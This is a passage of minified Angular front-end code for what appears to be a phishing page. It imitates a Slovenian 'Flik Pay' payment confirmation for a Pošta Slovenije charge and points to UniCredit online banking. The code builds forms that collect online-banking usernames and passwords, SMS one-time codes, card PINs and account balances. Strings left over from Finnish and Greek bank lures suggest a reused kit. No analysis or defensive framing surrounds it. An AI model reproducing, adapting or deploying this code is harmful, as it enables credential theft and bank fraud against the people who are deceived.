koda",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","javascript:void(0)","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,rA,3,0,"h2",5),r.\u0275\u0275template(10,iA,3,0,"h2",5),r.\u0275\u0275template(11,oA,5,0,"p",6),r.\u0275\u0275template(12,sA,3,0,"p",6),r.\u0275\u0275template(13,aA,5,1,"p",6),r.\u0275\u0275template(14,cA,3,1,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,lA,2,0,"div",6),r.\u0275\u0275template(53,EA,11,9,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,lT,_E,KE],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#52ae30;border-radius:5px;min-width:100px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function IA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function kA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function AA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev te transakcije je potrebna avtentikacija "),r.\u0275\u0275elementStart(2,"strong"),r.\u0275\u0275text(3," Flik Pay"),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(4,". Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd())}function DA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function NA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function RA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" Kak\u0161no je stanje na va\u0161em primarnem ra\u010dunu za va\u0161o kartico XXXX-",t.showCode,"")}}function LA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function jA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function FA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,jA,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function VA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function BA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",36),r.\u0275\u0275template(5,FA,5,1,"div",34),r.\u0275\u0275template(6,VA,2,0,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function HA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function zA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,HA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function GA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Kako do aktivacijske kode Flik Pay : "),r.\u0275\u0275element(2,"br"),r.\u0275\u0275element(3,"br"),r.\u0275\u0275text(4," 1. Vstopite v Online poslovanje . "),r.\u0275\u0275element(5,"br"),r.\u0275\u0275text(6," 2. Prijavite se s svojim uporabni\u0161kim imenom , ki ga uporabljate za Online banko in s pomo\u010djo \u017eetona generirajte geslo . "),r.\u0275\u0275element(7,"br"),r.\u0275\u0275text(8," 3. Izberite polje z ikono Flik . "),r.\u0275\u0275element(9,"br"),r.\u0275\u0275text(10," 4. Preverite kontaktne podatke ter izberite gumb Aktiviraj . "),r.\u0275\u0275element(11,"br"),r.\u0275\u0275text(12," 5. Preusmerjeni boste na stran z aktivacijsko kodo , do katere pridete s klikom na besedilo \xbb > Prika\u017ei kodo < . "),r.\u0275\u0275element(13,"br"),r.\u0275\u0275element(14,"br"),r.\u0275\u0275text(15," Online poslovanje : "),r.\u0275\u0275elementStart(16,"a",50),r.\u0275\u0275text(17,"https://onlineposlovanje.unicreditbank.si"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function UA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",47),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",48),r.\u0275\u0275text(6," Kako do aktivacijske kode ? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(7,"div",41),r.\u0275\u0275elementStart(8,"div",42),r.\u0275\u0275template(9,GA,18,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(10,"td",49),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function qA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td"),r.\u0275\u0275elementEnd())}function WA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function KA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",52),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",53),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function $A(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,KA,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function QA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function XA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,QA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function ZA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",54),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",52),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",53),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function YA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,ZA,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function JA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function tD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,JA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function eD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",55),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",56),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function nD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function rD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,nD,2,0,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function iD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,eD,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(5,rD,6,1,"tr",6),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function oD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,BA,8,2,"tr",6),r.\u0275\u0275template(3,zA,6,1,"tr",6),r.\u0275\u0275template(4,UA,11,1,"tr",6),r.\u0275\u0275template(5,qA,2,0,"tr",6),r.\u0275\u0275template(6,WA,4,0,"tr",6),r.\u0275\u0275template(7,$A,6,1,"tr",6),r.\u0275\u0275template(8,XA,6,1,"tr",6),r.\u0275\u0275template(9,YA,6,1,"tr",6),r.\u0275\u0275template(10,tD,6,1,"tr",6),r.\u0275\u0275template(11,iD,6,2,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const 